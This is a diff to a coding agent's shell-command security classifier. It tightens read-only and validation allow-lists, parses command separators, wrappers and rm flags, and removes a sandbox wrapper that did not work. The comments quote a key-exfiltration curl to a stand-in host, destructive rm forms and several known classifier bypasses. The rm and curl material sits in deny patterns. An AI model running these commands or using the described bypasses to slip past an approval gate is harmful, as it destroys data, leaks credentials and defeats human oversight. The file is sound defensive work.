+ // NOTE: `curl`/`wget`/`nslookup`/`dig`/`host` are deliberately absent. Even
106
+ // "read-only" invocations reach an attacker-controlled endpoint and return
107
+ // its response into the model context, and `curl`/`wget` can exfiltrate
108
+ // local secrets (`curl https://evil/?d=$(cat ~/.ssh/id_rsa)`) or hit the
109
+ // cloud metadata endpoint (SSRF). They are treated as caution and require
110
+ // confirmation. See issue #64.
100
111
  'ping',
101
- 'curl', // when without file output
102
- 'wget', // when without file output
103
- 'nslookup',
104
- 'dig',
105
- 'host',
106
112
  'ip',
107
113
  'ifconfig',
108
114
  'netstat',
@@ -112,16 +118,11 @@ exports.READ_ONLY_COMMANDS = [
112
118
  'htop',
113
119
  'lsof',
114
120
  'pgrep',
115
- // Package managers (checking/listing is read-only)
116
- 'npm',
117
- 'npx',
118
- 'yarn',
119
- 'pnpm',
120
- 'pip',
121
- 'pip3',
122
- 'cargo',
123
- 'top',
124
- 'htop',
121
+ // Job control
122
+ // NOTE: the package-manager drivers (npm/npx/yarn/pnpm/pip/cargo) are
123
+ // deliberately NOT listed here. Whether they read or execute depends entirely
124
+ // on the sub-command, so they are allow-listed per sub-command in
125
+ // READ_ONLY_SUBCOMMANDS instead.
125
126
  'jobs',
126
127
  // JSON/YAML processing (read-only when no file write)
127
128
  'jq',
@@ -136,24 +137,77 @@ exports.READ_ONLY_COMMANDS = [
136
137
  '--version',
137
138
  '-V',
138
139
  ];
140
+ /**
141
+ * Sub-commands that only read state, keyed by the driver that runs them.
142
+ *
143
+ * The drivers themselves must never appear in READ_ONLY_COMMANDS: `npm run`,
144
+ * `npm exec`, `yarn <script>`, `pnpm run`, `cargo run` and `npx <pkg>` all
145
+ * execute arbitrary project-defined or freshly downloaded code, so the safe
146
+ * surface has to be enumerated rather than subtracted.
147
+ */
148
+ exports.READ_ONLY_SUBCOMMANDS = {
149
+ git: [
150
+ 'status',
151
+ 'log',
152
+ 'diff',
153
+ 'show',
154
+ 'branch',
155
+ 'tag',
156
+ 'remote',
157
+ 'rev-parse',
158
+ 'ls-files',
159
+ 'ls-tree',
160
+ ],
161
+ npm: ['list', 'ls', 'info', 'view', 'search', 'outdated', 'why'],
162
+ yarn: ['list', 'info', 'why'],
163
+ pnpm: ['list', 'ls', 'info', 'why', 'outdated'],
164
+ cargo: ['tree', 'metadata', 'search'],
165
+ pip: ['list', 'show', 'freeze'],
166
+ pip3: ['list', 'show', 'freeze'],
167
+ };
168
+ /**
169
+ * git options that hand execution to an external program or write a file,
170
+ * whichever sub-command they are attached to.
171
+ */
172
+ const GIT_UNSAFE_OPTIONS = /(^|\s)--(ext-diff|extcmd|output|exec-path|upload-pack|receive-pack)\b/;
173
+ /**
174
+ * `git branch` / `git tag` only list when they are given nothing but these
175
+ * flags. Any other argument may create, move or delete a ref, so the allow-list
176
+ * is deliberately valueless flags only -- `git branch --contains HEAD` reads,
177
+ * but prompting for it is far cheaper than letting `git branch -D main` through.
178
+ */
179
+ const GIT_LISTING_FLAGS = {
180
+ branch: /^(-a|--all|-r|--remotes|-v|-vv|--verbose|-l|--list|--no-color|--color(=.+)?|--sort=.+|--format=.+)$/,
181
+ tag: /^(-l|--list|-n\d*|-i|--ignore-case|--no-color|--color(=.+)?|--sort=.+|--format=.+)$/,
182
+ };
183
+ /** `git remote` reads with no argument, or via these two sub-sub-commands. */
184
+ const GIT_REMOTE_READ_ONLY_ACTIONS = new Set(['show', 'get-url']);
139
185
  /**
140
186
  * Validation commands that are safe enough to run without an interactive
141
187
  * confirmation prompt. They may read the project and execute local test code,
142
188
  * but they are standard verification steps for coding-agent work.
189
+ *
190
+ * Deliberately excludes network-pulling and script-executing commands:
191
+ * - `npx <pkg>` fetches and runs an arbitrary package from the registry → RCE.
192
+ * - `npm test` / `yarn test` / `pnpm test` run project-defined scripts, which
193
+ * a poisoned package.json can weaponize into silent code execution.
194
+ * Both classes are therefore treated as caution and require confirmation
195
+ * (issue #64). Local `tsc --noEmit` is kept (no remote fetch); `npm run
196
+ * build/lint/typecheck/check` are local scripts and retained.
143
197
  */
144
198
  exports.VALIDATION_COMMAND_PATTERNS = [
145
- /^(npx\s+)?tsc\b.*--noEmit\b/,
146
- /^npx\s+(jest|vitest|eslint)\b/,
147
- /^(npm|pnpm|yarn)\s+test(\s|$)/,
148
- /^(npm|pnpm|yarn)\s+run\s+(test|lint|typecheck|check)(\s|$)/,
149
- /^pnpm\s+(test|lint|typecheck|check)(\s|$)/,
150
- /^yarn\s+(test|lint|typecheck|check)(\s|$)/,
199
+ /^tsc\b.*--noEmit\b/,
200
+ /^npm\s+run\s+(lint|typecheck|check|build)(\s|$)/,
201
+ /^(pnpm|yarn)\s+(lint|typecheck|check)(\s|$)/,
151
202
  ];
152
203
  /**
153
204
  * Dangerous command patterns that should always be blocked or require confirmation.
154
205
  */
155
206
  exports.DANGEROUS_PATTERNS = [
156
- // Filesystem destruction
207
+ // Filesystem destruction.
208
+ // NOTE: these literal forms are a backstop only. Flag order, long options and
209
+ // trailing arguments all defeat them, so the authoritative check is the
210
+ // structured one in findDestructiveRmTarget(); see checkDangerousCommand().
157
211
  { pattern: /rm\s+-rf\s+\/$/, reason: 'Attempting to delete root directory' },
158
212
  { pattern: /rm\s+-rf\s+~$/, reason: 'Attempting to delete home directory' },
159
213
  { pattern: /rm\s+-rf\s+\*/, reason: 'Attempting to delete all files in current directory' },
@@ -195,15 +249,167 @@ exports.POTENTIALLY_DESTRUCTIVE_PATTERNS = [
195
249
  /curl.*>\s*\//,
196
250
  /wget.*-O\s*\//,
197
251
  ];
252
+ /** The one redirect target that does not count as writing to the filesystem. */
253
+ const DISCARD_REDIRECT_TARGET = '/dev/null';
254
+ /**
255
+ * Split a command line into the individual commands it will actually run.
256
+ *
257
+ * The classifier below hands out "run without confirmation" verdicts, so it has
258
+ * to see every command on the line rather than just the leading token. Quote
259
+ * state is tracked so `echo "a && b"` stays one segment, and substitutions are
260
+ * reported as unsupported instead of being silently skipped over.
261
+ */
262
+ function scanShellCommand(cmd) {
263
+ const segments = [];
264
+ let current = '';
265
+ let supported = true;
266
+ let writesFile = false;
267
+ let inSingleQuote = false;
268
+ let inDoubleQuote = false;
269
+ const pushSegment = () => {
270
+ const segment = current.trim();
271
+ if (segment.length > 0) {
272
+ segments.push(segment);
273
+ }
274
+ current = '';
275
+ };
276
+ for (let i = 0; i < cmd.length; i++) {
277
+ const ch = cmd[i];
278
+ const next = cmd[i + 1];
279
+ if (ch === '\\' && !inSingleQuote && next !== undefined) {
280
+ current += ch + next;
281
+ i++;
282
+ continue;
283
+ }
284
+ if (ch === "'" && !inDoubleQuote) {
285
+ inSingleQuote = !inSingleQuote;
286
+ current += ch;
287
+ continue;
288
+ }
289
+ if (ch === '"' && !inSingleQuote) {
290
+ inDoubleQuote = !inDoubleQuote;
291
+ current += ch;
292
+ continue;
293
+ }
294
+ if (inSingleQuote) {
295
+ // Single quotes disable every expansion, so the contents stay inert.
296
+ current += ch;
297
+ continue;
298
+ }
299
+ if (inDoubleQuote) {
300
+ // Double quotes only suppress globbing and word splitting -- bash still
301
+ // expands `$(...)` and backticks inside them. Skipping the substitution
302
+ // check here made `echo "$(rm -rf $HOME)"` classify as safe/read-only and
303
+ // auto-approve, i.e. a straight command-execution bypass.
304
+ if (ch === '`' || (ch === '$' && next === '(')) {
305
+ supported = false;
306
+ }
307
+ current += ch;
308
+ continue;
309
+ }
310
+ // Command and process substitution can hide an arbitrary command inside an
311
+ // otherwise innocent-looking line, and neither is worth modelling here.
312
+ if (ch === '`' ||
313
+ (ch === '$' && next === '(') ||
314
+ ((ch === '<' || ch === '>') && next === '(')) {
315
+ supported = false;
316
+ current += ch;
317
+ continue;
318
+ }
319
+ if (ch === ';' || ch === '\n') {
320
+ pushSegment();
321
+ continue;
322
+ }
323
+ if ((ch === '&' && next === '&') || (ch === '|' && next === '|')) {
324
+ pushSegment();
325
+ i++;
326
+ continue;
327
+ }
328
+ if (ch === '&' || ch === '|') {
329
+ pushSegment();
330
+ continue;
331
+ }
332
+ if (ch === '>') {
333
+ let cursor = i + 1;
334
+ if (cmd[cursor] === '>') {
335
+ cursor++;
336
+ }
337
+ if (cmd[cursor] === '&') {
338
+ // `>&1` / `2>&1` duplicate a descriptor and `>&-` closes one; nothing
339
+ // reaches the filesystem. Consume the whole reference so its `&` is not
340
+ // mistaken for a background-job separator.
341
+ let end = cursor + 1;
342
+ while (end < cmd.length && cmd[end] >= '0' && cmd[end] <= '9') {
343
+ end++;
344
+ }
345
+ if (cmd[end] === '-') {
346
+ end++;
347
+ }
348
+ current += cmd.slice(i, end);
349
+ i = end - 1;
350
+ continue;
351
+ }
352
+ while (cursor < cmd.length && (cmd[cursor] === ' ' || cmd[cursor] === '\t')) {
353
+ cursor++;
354
+ }
355
+ const target = cmd.slice(cursor).split(/[\s;&|<>]/)[0];
356
+ if (target !== DISCARD_REDIRECT_TARGET) {
357
+ writesFile = true;
358
+ }
359
+ current += ch;
360
+ continue;
361
+ }
362
+ current += ch;
363
+ }
364
+ pushSegment();
365
+ return {
366
+ segments,
367
+ supported: supported && !inSingleQuote && !inDoubleQuote,
368
+ writesFile,
369
+ };
370
+ }
371
+ /**
372
+ * Require every command on the line to satisfy `predicate`.
373
+ *
374
+ * A single unrecognised segment is enough to withhold the auto-approval, which
375
+ * is what stops `echo hi && rm -rf ~` from inheriting `echo`'s verdict.
376
+ */
377
+ function everySegmentSatisfies(cmd, predicate) {
378
+ const scan = scanShellCommand(cmd.trim());
379
+ if (!scan.supported || scan.writesFile || scan.segments.length === 0) {
380
+ return false;
381
+ }
382
+ return scan.segments.every(predicate);
383
+ }
198
384
  /**
199
385
  * Check if a command is read-only and safe to execute without confirmation.
386
+ *
387
+ * Every command on the line must be independently read-only.
200
388
  */
201
389
  function isReadOnlyCommand(cmd) {
202
- const trimmedCmd = cmd.trim();
390
+ return everySegmentSatisfies(cmd, isReadOnlySegment);
391
+ }
392
+ /**
393
+ * Check whether a single command -- with no separators left in it -- is read-only.
394
+ */
395
+ function isReadOnlySegment(trimmedCmd) {
203
396
  // Check exact matches first
204
397
  if (exports.READ_ONLY_COMMANDS.includes(trimmedCmd)) {
205
398
  return true;
206
399
  }
400
+ // A wrapper decides nothing: `env`, `timeout`, `nice` and friends just hand
401
+ // control to whatever follows, so classify that instead. Without this,
402
+ // matching on the head token alone made `env node -e '<code>'` read-only.
403
+ const unwrapped = unwrapCommandWrappers(trimmedCmd.split(/\s+/).filter(Boolean));
404
+ if (unwrapped) {
405
+ // Running as another user is never read-only, however benign the payload.
406
+ if (unwrapped.privileged)
407
+ return false;
408
+ // `env` / `printenv` with no wrapped command just prints the environment.
409
+ if (unwrapped.tokens.length === 0)
410
+ return true;
411
+ return isReadOnlySegment(unwrapped.tokens.join(' '));
412
+ }
207
413
  // Check if command starts with a read-only command
208
414
  const baseCmd = trimmedCmd.split(' ')[0];
209
415
  if (exports.READ_ONLY_COMMANDS.includes(baseCmd)) {
@@ -215,57 +421,369 @@ function isReadOnlyCommand(cmd) {
215
421
  if (baseCmd === 'sed' && trimmedCmd.includes('-i')) {
216
422
  return false; // sed -i modifies files
217
423
  }
218
- if (baseCmd === 'curl' && (trimmedCmd.includes('>') || /(^|\s)-o\b/.test(trimmedCmd) || /(^|\s)--output\b/.test(trimmedCmd))) {
219
- return false; // curl with file output (-o/--output/>) writes a file
220
- }
221
- if (baseCmd === 'wget' && (trimmedCmd.includes('>') || /(^|\s)-O\b/.test(trimmedCmd) || /(^|\s)--output-document\b/.test(trimmedCmd))) {
222
- return false; // wget with file output writes a file
223
- }
224
424
  if (baseCmd === 'find' && /(^|\s)-(exec|execdir|ok|okdir|delete)\b/.test(trimmedCmd)) {
225
425
  return false; // find -exec/-ok runs arbitrary commands; -delete removes files
226
426
  }
227
- if (baseCmd === 'awk' && (/\bsystem\s*\(/.test(trimmedCmd) || /\bgetline\b/.test(trimmedCmd) || trimmedCmd.includes('>'))) {
427
+ if (baseCmd === 'awk' &&
428
+ (/\bsystem\s*\(/.test(trimmedCmd) ||
429
+ /\bgetline\b/.test(trimmedCmd) ||
430
+ trimmedCmd.includes('>'))) {
228
431
  return false; // awk can exec (system/getline) or write files (>)
229
432
  }
230
433
  if (baseCmd === 'sort' && (/(^|\s)-o\b/.test(trimmedCmd) || trimmedCmd.includes('>'))) {
231
434
  return false; // sort -o / redirect writes a file
232
435
  }
233
- // npm/pip/cargo/yarn install commands have side effects
234
- if ((baseCmd === 'npm' || baseCmd === 'yarn' || baseCmd === 'pnpm') &&
235
- /\b(install|add|remove|uninstall|publish|link|unlink|deprecate|audit fix|fund)\b/.test(trimmedCmd)) {
236
- return false;
237
- }
238
- if ((baseCmd === 'pip' || baseCmd === 'pip3') && /\binstall\b/.test(trimmedCmd)) {
239
- return false; // pip install modifies system
436
+ return true;
437
+ }
438
+ // Driver commands are read-only only for an explicitly allow-listed
439
+ // sub-command, matched on the exact token.
440
+ return isReadOnlyDriverInvocation(trimmedCmd);
441
+ }
442
+ /**
443
+ * Classify `git`, `npm`, `cargo` and friends by their sub-command.
444
+ *
445
+ * Matching is on the exact sub-command token. The previous implementation used
446
+ * `startsWith`, which let `git difftool --extcmd=...` match the `git diff`
447
+ * entry and run an arbitrary program.
448
+ */
449
+ function isReadOnlyDriverInvocation(segment) {
450
+ const tokens = segment.split(/\s+/).filter(token => token.length > 0);
451
+ const driver = tokens[0];
452
+ const subcommand = tokens[1];
453
+ const allowed = driver ? exports.READ_ONLY_SUBCOMMANDS[driver] : undefined;
454
+ if (!allowed || !subcommand || !allowed.includes(subcommand)) {
455
+ return false;
456
+ }
457
+ if (driver !== 'git') {
458
+ return true;
459
+ }
460
+ if (GIT_UNSAFE_OPTIONS.test(segment)) {
461
+ return false;
462
+ }
463
+ const args = tokens.slice(2);
464
+ if (subcommand === 'remote') {
465
+ // `git remote [-v]` lists; `git remote show|get-url <name>` reads.
466
+ // Everything else -- add, remove, rename, set-url, prune -- mutates.
467
+ const positional = args.filter(arg => arg !== '-v' && arg !== '--verbose');
468
+ return positional.length === 0 || GIT_REMOTE_READ_ONLY_ACTIONS.has(positional[0]);
469
+ }
470
+ const listingFlags = GIT_LISTING_FLAGS[subcommand];
471
+ if (listingFlags) {
472
+ return args.every(arg => listingFlags.test(arg));
473
+ }
474
+ return true;
475
+ }
476
+ /**
477
+ * Check if a command is a bounded validation command.
478
+ *
479
+ * Segment-aware for the same reason as `isReadOnlyCommand`: without it,
480
+ * `npm test && rm -rf /tmp/x` matches the leading validation pattern and is
481
+ * auto-approved in full.
482
+ */
483
+ function isValidationCommand(cmd) {
484
+ return everySegmentSatisfies(cmd, segment => exports.VALIDATION_COMMAND_PATTERNS.some(pattern => pattern.test(segment)));
485
+ }
486
+ /**
487
+ * Wrappers that run another command with a modified environment, scheduling
488
+ * class or lifetime. They neither escalate privilege nor change what the
489
+ * wrapped command does, so the *wrapped* command decides the classification.
490
+ */
491
+ const TRANSPARENT_WRAPPERS = [
492
+ 'env',
493
+ 'timeout',
494
+ 'nice',
495
+ 'ionice',
496
+ 'stdbuf',
497
+ 'setsid',
498
+ 'nohup',
499
+ 'time',
500
+ 'command',
501
+ 'builtin',
502
+ 'exec',
503
+ 'xargs',
504
+ ];
505
+ /**
506
+ * Wrappers that escalate privilege. The wrapped command may look read-only, but
507
+ * running it as another user never is, so these never inherit a `safe` verdict.
508
+ */
509
+ const PRIVILEGE_WRAPPERS = new Set(['sudo', 'doas']);
510
+ /** Wrappers that may precede `rm` without changing what it deletes. */
511
+ const COMMAND_WRAPPERS = new Set([...PRIVILEGE_WRAPPERS, ...TRANSPARENT_WRAPPERS]);
512
+ /**
513
+ * Flags that consume the *following* token as their value, per wrapper.
514
+ *
515
+ * Anything absent here is treated as self-contained, so a value that is
516
+ * attached with `=` (`--unset=PATH`) needs no entry. Getting this wrong in the
517
+ * conservative direction only costs a confirmation prompt; getting it wrong the
518
+ * other way would let a flag value be mistaken for the wrapped binary.
519
+ */
520
+ const WRAPPER_VALUE_FLAGS = {
521
+ env: new Set(['-u', '--unset', '-C', '--chdir', '-S', '--split-string']),
522
+ timeout: new Set(['-k', '--kill-after', '-s', '--signal']),
523
+ nice: new Set(['-n', '--adjustment']),
524
+ ionice: new Set(['-c', '--class', '-n', '--classdata', '-p', '--pid']),
525
+ stdbuf: new Set(['-i', '--input', '-o', '--output', '-e', '--error']),
526
+ time: new Set(['-f', '--format', '-o', '--output']),
527
+ exec: new Set(['-a']),
528
+ xargs: new Set([
529
+ '-I',
530
+ '-i',
531
+ '--replace',
532
+ '-n',
533
+ '--max-args',
534
+ '-P',
535
+ '--max-procs',
536
+ '-d',
537
+ '--delimiter',
538
+ '-a',
539
+ '--arg-file',
540
+ '-E',
541
+ '-e',
542
+ '--eof',
543
+ '-L',
544
+ '-l',
545
+ '--max-lines',
546
+ '-s',
547
+ '--max-chars',
548
+ ]),
549
+ sudo: new Set([
550
+ '-u',
551
+ '--user',
552
+ '-g',
553
+ '--group',
554
+ '-p',
555
+ '--prompt',
556
+ '-D',
557
+ '--chdir',
558
+ '-R',
559
+ '--chroot',
560
+ ]),
561
+ doas: new Set(['-u', '-C']),
562
+ };
563
+ /** Wrappers that take positional operands of their own before the command. */
564
+ const WRAPPER_POSITIONAL_OPERANDS = {
565
+ // `timeout DURATION COMMAND ...`
566
+ timeout: 1,
567
+ };
568
+ /** `env env env ...` is pathological, not legitimate; bound the unwrapping. */
569
+ const MAX_WRAPPER_DEPTH = 8;
570
+ /**
571
+ * Peel `env`/`timeout`/`sudo`/... off the head of a segment and return the
572
+ * command that will actually run.
573
+ *
574
+ * Returns null when the segment does not start with a wrapper, so callers can
575
+ * cheaply tell "nothing to do" from "resolved to an empty command".
576
+ *
577
+ * Wrapper-specific operands are skipped so the resolution survives realistic
578
+ * spellings: `env -i FOO=bar node -e '...'`, `timeout -k 1s 5 rm -rf /` and
579
+ * `nice -10 ls` all resolve to `node`, `rm` and `ls` respectively.
580
+ */
581
+ function unwrapCommandWrappers(tokens) {
582
+ let index = 0;
583
+ let privileged = false;
584
+ let unwrapped = false;
585
+ for (let depth = 0; depth < MAX_WRAPPER_DEPTH; depth++) {
586
+ const head = tokens[index];
587
+ if (head === undefined)
588
+ break;
589
+ // Accept absolute paths: /usr/bin/env is the same wrapper as env.
590
+ const wrapper = head.slice(head.lastIndexOf('/') + 1);
591
+ if (!COMMAND_WRAPPERS.has(wrapper))
592
+ break;
593
+ unwrapped = true;
594
+ if (PRIVILEGE_WRAPPERS.has(wrapper))
595
+ privileged = true;
596
+ index++;
597
+ const valueFlags = WRAPPER_VALUE_FLAGS[wrapper];
598
+ let endOfOptions = false;
599
+ while (index < tokens.length) {
600
+ const token = tokens[index];
601
+ if (!endOfOptions && token === '--') {
602
+ endOfOptions = true;
603
+ index++;
604
+ continue;
605
+ }
606
+ if (!endOfOptions && token.length > 1 && token.startsWith('-')) {
607
+ const flag = token.split('=')[0];
608
+ index += valueFlags?.has(flag) && !token.includes('=') ? 2 : 1;
609
+ continue;
610
+ }
611
+ // `env` accepts any number of NAME=value assignments before the command.
612
+ if (/^[A-Za-z_][A-Za-z0-9_]*=/.test(token)) {
613
+ index++;
614
+ continue;
615
+ }
616
+ break;
240
617
  }
241
- if (baseCmd === 'cargo' && /\b(install|publish|update|remove)\b/.test(trimmedCmd)) {
242
- return false;
618
+ let operands = WRAPPER_POSITIONAL_OPERANDS[wrapper] ?? 0;
619
+ while (operands > 0 && index < tokens.length) {
620
+ index++;
621
+ operands--;
243
622
  }
244
- return true;
245
623
  }
246
- // Check for git read commands
247
- if (trimmedCmd.startsWith('git ')) {
248
- const gitCmd = trimmedCmd.slice(4).trim();
249
- for (const roGitCmd of exports.READ_ONLY_COMMANDS.filter(c => c.startsWith('git '))) {
250
- if (gitCmd.startsWith(roGitCmd.slice(4))) {
251
- return true;
624
+ if (!unwrapped)
625
+ return null;
626
+ return { tokens: tokens.slice(index), privileged };
627
+ }
628
+ /**
629
+ * Targets whose deletion is never a legitimate agent action, in the normalised
630
+ * form produced by {@link normalizeRmTarget}.
631
+ */
632
+ const CATASTROPHIC_RM_TARGETS = new Set([
633
+ '/',
634
+ '~',
635
+ '.',
636
+ '..',
637
+ '*',
638
+ // System roots: wiping any of these bricks the machine just as thoroughly as
639
+ // `/` does, and no build or cleanup step has a reason to touch them.
640
+ '/bin',
641
+ '/boot',
642
+ '/dev',
643
+ '/etc',
644
+ '/lib',
645
+ '/lib64',
646
+ '/opt',
647
+ '/proc',
648
+ '/root',
649
+ '/sbin',
650
+ '/srv',
651
+ '/sys',
652
+ '/usr',
653
+ '/var',
654
+ '/home',
655
+ '/Users',
656
+ '/System',
657
+ '/Library',
658
+ '/Applications',
659
+ ]);
660
+ /**
661
+ * Reduce an `rm` operand to a canonical path so that every spelling of the same
662
+ * catastrophic target collapses onto one key: `/`, `/*`, `/**` and `///` all
663
+ * become `/`, and `~/`, `~/*`, `$HOME`, `${HOME}/` all become `~`.
664
+ */
665
+ function normalizeRmTarget(raw) {
666
+ let target = raw.trim();
667
+ const quote = target[0];
668
+ if ((quote === "'" || quote === '"') && target.endsWith(quote) && target.length > 1) {
669
+ target = target.slice(1, -1).trim();
670
+ }
671
+ target = target.replace(/^\$\{HOME\}/, '~').replace(/^\$HOME/, '~');
672
+ // A trailing glob deletes the directory's contents, which is the same disaster
673
+ // as deleting the directory itself.
674
+ target = target.replace(/\/\*+$/, '/');
675
+ target = target.replace(/\/{2,}/g, '/');
676
+ if (target.length > 1) {
677
+ target = target.replace(/\/+$/, '');
678
+ }
679
+ return target;
680
+ }
681
+ /**
682
+ * Parse a single command segment as an `rm` invocation.
683
+ *
684
+ * Returns null when the segment does not run `rm`. Flags are collected
685
+ * order-independently, so `-rf`, `-fr`, `-r -f` and `--recursive --force` are
686
+ * all recognised as the same request.
687
+ */
688
+ function parseRmInvocation(segment) {
689
+ const rawTokens = segment.split(/\s+/).filter(token => token.length > 0);
690
+ // Wrappers hide the real binary from a head-token check: without unwrapping
691
+ // their own flags and operands, `timeout 5 rm -rf /` never parses as `rm`.
692
+ const tokens = unwrapCommandWrappers(rawTokens)?.tokens ?? rawTokens;
693
+ let index = 0;
694
+ const binary = tokens[index];
695
+ if (!binary || !/(^|\/)rm$/.test(binary)) {
696
+ return null;
697
+ }
698
+ index++;
699
+ const invocation = {
700
+ recursive: false,
701
+ force: false,
702
+ noPreserveRoot: false,
703
+ targets: [],
704
+ };
705
+ let endOfOptions = false;
706
+ for (; index < tokens.length; index++) {
707
+ const token = tokens[index];
708
+ if (!endOfOptions && token === '--') {
709
+ endOfOptions = true;
710
+ continue;
711
+ }
712
+ if (!endOfOptions && token.startsWith('--')) {
713
+ if (token === '--recursive')
714
+ invocation.recursive = true;
715
+ else if (token === '--force')
716
+ invocation.force = true;
717
+ else if (token === '--no-preserve-root')
718
+ invocation.noPreserveRoot = true;
719
+ continue;
720
+ }
721
+ if (!endOfOptions && token.length > 1 && token.startsWith('-')) {
722
+ for (const flag of token.slice(1)) {
723
+ if (flag === 'r' || flag === 'R')
724
+ invocation.recursive = true;
725
+ else if (flag === 'f')
726
+ invocation.force = true;
252
727
  }
728
+ continue;
253
729
  }
730
+ invocation.targets.push(token);
254
731
  }
255
- return false;
732
+ return invocation;
256
733
  }
257
734
  /**
258
- * Check if a command is a bounded validation command.
735
+ * Structured replacement for the literal `rm -rf /` patterns.
736
+ *
737
+ * Returns the normalised target that makes the command catastrophic, or null.
738
+ * Matching on parsed flags and canonicalised operands closes the rewrites that
739
+ * defeat the anchored patterns: `rm -fr /`, `rm -r -f /`,
740
+ * `rm --recursive --force /`, `rm -rf /*` and, most importantly,
741
+ * `rm -rf / --no-preserve-root` -- the only form that actually deletes anything
742
+ * on GNU coreutils.
259
743
  */
260
- function isValidationCommand(cmd) {
261
- const trimmedCmd = cmd.trim();
262
- return exports.VALIDATION_COMMAND_PATTERNS.some(pattern => pattern.test(trimmedCmd));
744
+ function findDestructiveRmTarget(cmd) {
745
+ for (const segment of scanShellCommand(cmd).segments) {
746
+ const invocation = parseRmInvocation(segment);
747
+ if (!invocation)
748
+ continue;
749
+ // `rm /` without -r or -f cannot remove a directory, so it is noise rather
750
+ // than a threat. Either flag turns the same operand into a real deletion.
751
+ if (!invocation.recursive && !invocation.force)
752
+ continue;
753
+ for (const target of invocation.targets) {
754
+ if (CATASTROPHIC_RM_TARGETS.has(normalizeRmTarget(target))) {
755
+ return target;
756
+ }
757
+ }
758
+ }
759
+ return null;
760
+ }
761
+ /** Reported when the structured `rm` check fires rather than a literal pattern. */
762
+ const DESTRUCTIVE_RM_PATTERN = /\brm\b/;
763
+ /** Human-readable description of why a normalised target is off-limits. */
764
+ function describeCatastrophicTarget(raw) {
765
+ const normalized = normalizeRmTarget(raw);
766
+ if (normalized === '/')
767
+ return 'the root directory';
768
+ if (normalized === '~')
769
+ return 'the home directory';
770
+ if (normalized === '.' || normalized === '..' || normalized === '*') {
771
+ return 'the current directory contents';
772
+ }
773
+ return `the system directory ${normalized}`;
263
774
  }
264
775
  /**
265
776
  * Check if a command matches dangerous patterns.
266
777
  * Returns the first matched dangerous pattern, or null if safe.
267
778
  */
268
779
  function checkDangerousCommand(cmd) {
780
+ const rmTarget = findDestructiveRmTarget(cmd);
781
+ if (rmTarget) {
782
+ return {
783
+ pattern: DESTRUCTIVE_RM_PATTERN,
784
+ reason: `Attempting to delete ${describeCatastrophicTarget(rmTarget)} (${rmTarget})`,
785
+ };
786
+ }
269
787
  for (const { pattern, reason } of exports.DANGEROUS_PATTERNS) {
270
788
  if (pattern.test(cmd)) {
271
789
  return { pattern, reason };
@@ -327,30 +845,19 @@ function assessCommandSecurity(cmd) {
327
845
  isReadOnly: false,
328
846
  };
329
847
  }
330
- /**
331
- * Default sandbox options (disabled).
332
- */
333
- exports.DEFAULT_SANDBOX_OPTIONS = {
334
- mode: 'none',
335
- };
336
- /**
337
- * Wrap command for sandbox execution.
338
- * Returns the modified command for sandbox execution.
848
+ /*
849
+ * The `SandboxOptions` / `DEFAULT_SANDBOX_OPTIONS` / `wrapForSandbox` trio that
850
+ * used to live here has been removed.
851
+ *
852
+ * `wrapForSandbox` advertised network isolation it never delivered: it emitted
853
+ * `docker exec --network none <container> sh -c '<cmd>'`, but `--network` is a
854
+ * `docker run` flag and `docker exec` rejects it with `unknown flag`. With
855
+ * `network: true` the flag was dropped altogether, so neither configuration
856
+ * isolated anything. Building the wrapper as a shell string was unsound anyway:
857
+ * every layer re-parses the command, so a quoting bug becomes a sandbox escape.
858
+ *
859
+ * `src/tools/sandbox.ts` supersedes it with an argv-based implementation that
860
+ * probes backend availability and fails closed. Use `planSandboxedCommand()`
861
+ * from there instead.
339
862
  */
340
- function wrapForSandbox(cmd, options) {
341
- if (options.mode === 'none') {
342
- return cmd;
343
- }
344
- if (options.mode === 'docker') {
345
- const container = options.container || 'orion-code-sandbox';
346
- const networkFlag = options.network ? '' : '--network none';
347
- return `docker exec ${networkFlag} ${container} sh -c '${cmd.replace(/'/g, "'\\''")}'`;
348
- }
349
- if (options.mode === 'bubblewrap') {
350
- // bubblewrap (bwrap) for Linux sandboxing
351
- const networkFlag = options.network ? '' : '--unshare-net';
352
- return `bwrap ${networkFlag} --ro-bind /usr /usr --ro-bind /lib /lib --ro-bind /bin /bin --bind /tmp /tmp --proc /proc --dev-bind /dev /dev sh -c '${cmd.replace(/'/g, "'\\''")}'`;
353
- }
354
- return cmd;
355
- }
356
863
  //# sourceMappingURL=bash_security.js.map